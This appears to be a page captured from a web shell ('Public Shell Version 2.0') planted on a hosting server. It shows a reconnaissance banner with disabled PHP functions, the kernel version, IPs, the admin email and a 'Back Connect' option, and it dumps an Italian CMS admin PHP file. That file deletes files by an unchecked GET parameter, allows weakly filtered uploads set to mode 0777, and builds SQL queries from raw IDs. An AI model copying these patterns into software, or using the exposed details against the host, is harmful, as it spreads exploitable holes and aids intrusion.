Disable Functions: system,popen,dl,passthru,proc_open,shell_exec Uname : Linux hlpi1ws-c319s07.ad.aruba.it 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64 PHP Version : 5.3.29 Server Admin : postmaster@www.giancio.com Server IP : 192.168.3.109 Your IP : 18.188.15.246 Safe Mode : Safe Mode is OFF Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
';
Public Shell Version 2.0
<?php
function listhp() {
$out = '<div class="row">
<div class="col-md-6">
<div class="headline">
<h3>' . LISTA . ' ' . HP . '</h3>
</div>
</div>
<div class="col-md-6">
<a href="?azione=uploadhp" class="btn btn-default pull-right"><i class="icon-plus"></i> Inserisci</a>
</div>
</div>';
$out .= '<div class="row">
<div class="col-md-12">
<div class="table-wrapper">
<div class="wrapper-panel">
<table class="table table-striped" id="tab" >
<thead>
<tr>
<th>File</th>
<th width="5%"></th>
</tr>
</thead>
<tbody>';
$img = opendir('../assets/img/imghp/');
while ($file = readdir($img)) {
$file_array[] = $file;
}
foreach ($file_array as $file) {
if ($file == ".." || $file == ".") {
continue;
}
$out .= '<tr>
<td>
<a href="../assets/img/imghp/' . $file . '" title="' . $file . '" data-rel="fancybox-button" class="thumbnail fancybox-button zoomer">
<span class="overlay-zoom">
<img class="img-responsive" src="../assets/img/imghp/' . $file . '" width="30px" alt="' . $file . '">
</span>
</a>
</td>
<td>
<a class="show-option" title="' . DELETE . '" href="cms.php?azione=delhp&delete=' . $file . '" onClick="return confirm(\'Sei sicuro di voler eliminare questo elemento?\');">
<i class="icon-remove-sign"></i>
</a>
</td>
</tr>';
//questo crea il link
}
$out .= '</tbody></table>';
$out .=' </div>
<div class="wrapper-paging pull-right">
<ul>
<li><a class="paging-back"><</a></li>
<li><a class="paging-this">Pagina <strong>0</strong> di <span>x</span></a></li>
<li><a class="paging-next">></a></li>
</ul>
</div> <br /><br />
</div>
</div>
</div>';
return ($out);
}
function delhp() {
define('IMAGE_DIR', '../assets/img/imghp');
$immagine = IMAGE_DIR . '/' . $_GET['delete'];
if (!unlink($immagine)) {
echo("Impossibile eliminare $immagine <br>");
} else {
header('location: cms.php?del&azione=listhp');
}
echo("<br><a href=index.php?azione=listimg>Torna Indietro</a><br>");
}
function uploadhp() {
global $conn, $id;
$output = '<div class="row">
<div class="col-md-10">
<div class="headline">
<h3>'.ADD.' '.HP.'</h3>
</div>
</div>
<div class="col-md-2">
<a class="btn btn-default pull-right" href="javascript:history.back()"><i class="icon-reply"></i> Torna indietro</a>
</div>
</div>';
$output .= '<div class="row">
<form id="contactform" enctype="multipart/form-data" name="contactform" action="?azione=savehp&id=' . $id . '" method="post">
<div class="col-md-4">
<p>JPG Dimensioni in px 1265 x 264</p>
<br /><br /><input type="file" id="upclient" name="upclient" /><br /><br />
<button class="btn btn-default" type="submit">Salva</button><br /><br />
</div>
</form>
</div>';
return ($output);
}
function savehp() {
global $conn;
$dimensione_massima = 2048000;
//dimensione massima consentita per file in byte -> 1024 byte = 1 Kb
$dimensione_massima_Kb = $dimensione_massima / 1024;
$cartella_upload = "../assets/img/imghp/";
//cartella in cui eseguire l'upload (controllare permessi scrittura)
// percorso cartella relativo $cartella_upload="../public/";
$filtrare = 1;
//filtrare x estensioni ammesse? 1=si 0=no
$array_estensioni_ammesse = array('.jpg', '.jpeg', '.bmp', '.png', '.gif', '.tga');
//estensioni ammesse
$errore = false;
if (!isset($_FILES['upclient']) || $_FILES['upclient']['size'] == 0) {
$errore = '' . ERRNOFILE . '';
header('location: cms.php?errnofile&azione=uploadhp');
} elseif ($_FILES['upclient']['size'] > $dimensione_massima) {
$errore = '' . ERRDIM_2 . ' ' . $dimensione_massima_Kb . ' Kb';
header('location: cms.php?errdim_2&azione=uploadhp');
} else {
$nome_file = $_FILES['upclient']['name'];
$errore = "";
if ($filtrare == 1) {
$estensione = strtolower(substr($nome_file, strrpos($nome_file, "."), strlen($nome_file) - strrpos($nome_file, ".")));
if (!in_array($estensione, $array_estensioni_ammesse)) {
$errore = '' . ERREXT_IMG . '';
header('location: cms.php?errext_img&azione=uploadhp');
}
}
if (!file_exists($cartella_upload)) {
$errore .= "La cartella di destinazione non esiste</br>";
}
if ($errore == "") {
if (move_uploaded_file($_FILES['upclient']['tmp_name'], $cartella_upload . $_FILES['upclient']['name'])) {
chmod(/*$cartella_upload . */$_FILES['upclient']['name'], 0777);
//permessi per poterci sovrascrivere/scaricare
header('location: cms.php?ins&azione=listhp');
} else {
echo "error";
}
} else {
echo $errore;
}
}
}
function listasl() {
global $conn, $id;
$output = '<div class="row">
<div class="col-md-6">
<div class="headline">
<h3>' . LISTA . ' ' . SLOGAN . '</h3>
</div>
</div>
<div class="col-md-6">
</div>
</div>';
$output .= '<div class="row">
<div class="col-md-12">
<table class="table table-striped" id="tab" >
<thead>
<tr>
<th></th>
<th>Titolo</th>
<th>Sottotitolo</th>
<th width="5%"></th>
</tr>
</thead>
<tbody>';
$result=mysql_query('select * from hp order by hp_id ASC');
while($row=mysql_fetch_assoc($result))
{
$output.='<tr>
<td>'.$row['hp_id'].'</td>
<td>'.$row['hp_titolo'].'</td>
<td>'.$row['hp_sotto'].'</td>
<td><a title="Modifica" href="?azione=modificasl&id='.$row['hp_id'].'"><i class="icon-edit"></i></a></td>';
$output.='</tr>';
}
$output.='</tbody></table></div></div>';
return ($output);
}
function modificasl() {
global $conn, $id;
$sql = 'select * from hp where hp_id="' . $id . '" ';
$dati_pages = mysql_query($sql) or die(mysql_error());
$array_pages = mysql_fetch_array($dati_pages);
$sql_en = 'select * from hp_en where hp_id="' . $id . '" ';
$dati_pages_en = mysql_query($sql_en) or die(mysql_error());
$array_pages_en = mysql_fetch_array($dati_pages_en);
$output = '<div class="row">
<div class="col-md-10">
<div class="headline">
<h3>'.MOD.' Slogan</h3>
</div>
</div>
<div class="col-md-2">
<a class="btn btn-default pull-right" href="javascript:history.back()"><i class="icon-reply"></i> Torna indietro</a>
</div>
</div>';
$output .= '<form id="contactform" enctype="multipart/form-data" name="contactform" action="?azione=salvasl&id=' . $id . '" method="post">
<div class="row">
<div class="col-md-4">
<label>Titolo</label>
<input class="form-control" type="text" placeholder="Type something…" name="titolo" value="'.$array_pages[hp_titolo].'">
</div>
<div class="col-md-4">
<label>Titolo [English]</label>
<input class="form-control" type="text" placeholder="Type something…" name="titolo_en" value="'.$array_pages_en[hp_titolo].'">
</div>
</div>
<br />
<div class="row">
<div class="col-md-4">
<label>Sottotitolo</label>
<input class="form-control" type="text" placeholder="Type something…" name="sotto" value="'.$array_pages[hp_sotto].'">
</div>
<div class="col-md-4">
<label>Sottotitolo [English]</label>
<input class="form-control" type="text" placeholder="Type something…" name="sotto_en" value="'.$array_pages_en[hp_sotto].'">
</div>
</div>
<br />
<button class="btn btn-default" type="submit">Salva</button>
<br /><br />
</form>';
return ($output);
}
function salvasl() {
global $conn, $id;
$errore = 0;
$titolo = mysql_real_escape_string($_POST['titolo']);
$sotto = mysql_real_escape_string($_POST['sotto']);
$titolo_en = mysql_real_escape_string($_POST['titolo_en']);
$sotto_en = mysql_real_escape_string($_POST['sotto_en']);
if ($errore == 0) {
if ($id == 0) {
$sql = 'insert into pages(pg_titolo, pg_testo) values("' . $titolo . '","' . $testo . '")';
mysql_query($sql, $conn) or die(mysql_error());
header('location: cms.php?ins&azione=listac');
$id = mysql_insert_id();
} else {
$sql = 'update hp set hp_titolo="' . $titolo . '", hp_sotto="' . $sotto . '" where hp_id="' . $id . '" ';
mysql_query($sql, $conn) or die(mysql_error());
$sql = 'update hp_en set hp_titolo="' . $titolo_en . '", hp_sotto="' . $sotto_en . '" where hp_id="' . $id . '" ';
mysql_query($sql, $conn) or die(mysql_error());
header('location: cms.php?agg&azione=listasl');
}
} else {$output = 'errore nel form.<br /><a href="javascript:history.go(-1)">Torna indietro</a>';
}
return ($output);
}
?> Public Shell Version 2.0